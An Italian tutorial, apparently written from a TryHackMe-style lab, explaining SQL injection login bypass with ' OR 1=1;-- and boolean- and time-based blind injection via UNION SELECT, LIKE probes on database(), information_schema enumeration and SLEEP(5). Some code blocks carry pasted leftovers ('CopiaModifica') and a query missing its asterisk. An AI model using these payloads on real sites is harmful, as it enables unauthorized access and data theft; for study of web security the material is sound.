Tutorials

Tecniche di Bypass del Login e SQL Injection Basata su Booleani

--- Nei moduli di login collegati a un database utenti, la verifica avviene tramite una query SQL del tipo:

#exploitation#web#sql-injection

Tecniche di Bypass del Login e SQL Injection Basata su Booleani


Bypassare il Login con SQL Injection

Nei moduli di login collegati a un database utenti, la verifica avviene tramite una query SQL del tipo:

sql
SELECT  FROM users WHERE username='inserito_username' AND password='inserita_password';

Se il database trova una corrispondenza, restituisce un risultato e consente l’accesso. Se no, l’accesso viene negato.

Come funziona il bypass? Se inseriamo nel campo password questo payload:

sql
' OR 1=1;--

la query diventa:

sql
SELECT  FROM users WHERE username='' AND password='' OR 1=1;

Poiché 1=1 è sempre vero, la condizione complessiva risulta sempre vera e l'accesso viene concesso senza conoscere credenziali valide.


SQL Injection Boolean Based: Cos’è e Come Sfruttarla

La SQL Injection basata su booleani si basa sul fatto che le risposte del server possono essere solo due: vero/falso, sì/no. Anche se sembrano limitate, queste risposte permettono di interrogare il database in modo molto preciso, fino a ricostruirne struttura e dati.

Esempio pratico di enumerazione

Consideriamo un endpoint che verifica se un username esiste:

http
https://website.thm/checkuser?username=admin

Risponde con {"taken": true} se l’utente esiste, {"taken": false} se no.

La query eseguita è:

sql
SELECT * FROM users WHERE username='%username%' LIMIT 1;

Usando tecniche di SQL Injection, si può modificare la query per far sì che risponda true a nostre richieste specifiche, scoprendo informazioni sul database.


Passi per l’enumerazione:

1. Individuare il numero di colonne Provando payload con UNION SELECT, es.: admin123' UNION SELECT 1;-- Se errore, aumentiamo il numero di colonne finché la query è valida: vbnet CopiaModifica admin123' UNION SELECT 1,2,3;-- 2. Scoprire il nome del database Usando la funzione database() e il filtro LIKE, ad esempio: bash CopiaModifica admin123' UNION SELECT 1,2,3 WHERE database() LIKE 's%';-- Cambiando la lettera iniziale si può ricostruire il nome completo (sqli_three). 3. Enumerare le tabelle Utilizzando information_schema.tables e filtrando per table_schema e table_name, si scoprono le tabelle presenti. 4. Trovare le colonne delle tabelle Similmente, interrogando information_schema.columns, si identificano i nomi delle colonne. 5. Recuperare dati sensibili Una volta note tabelle e colonne, si possono estrarre dati come username e password.


Nota sull’uso di SLEEP() per verifiche

Per capire se una query è corretta, si può usare la funzione SQL SLEEP(), che fa ritardare la risposta del server. Se, ad esempio, inseriamo:

sql

CopiaModifica

admin123' UNION SELECT SLEEP(5),2,3 WHERE database() LIKE 'u%';--

Il server risponderà dopo 5 secondi solo se la query è valida e la condizione è vera.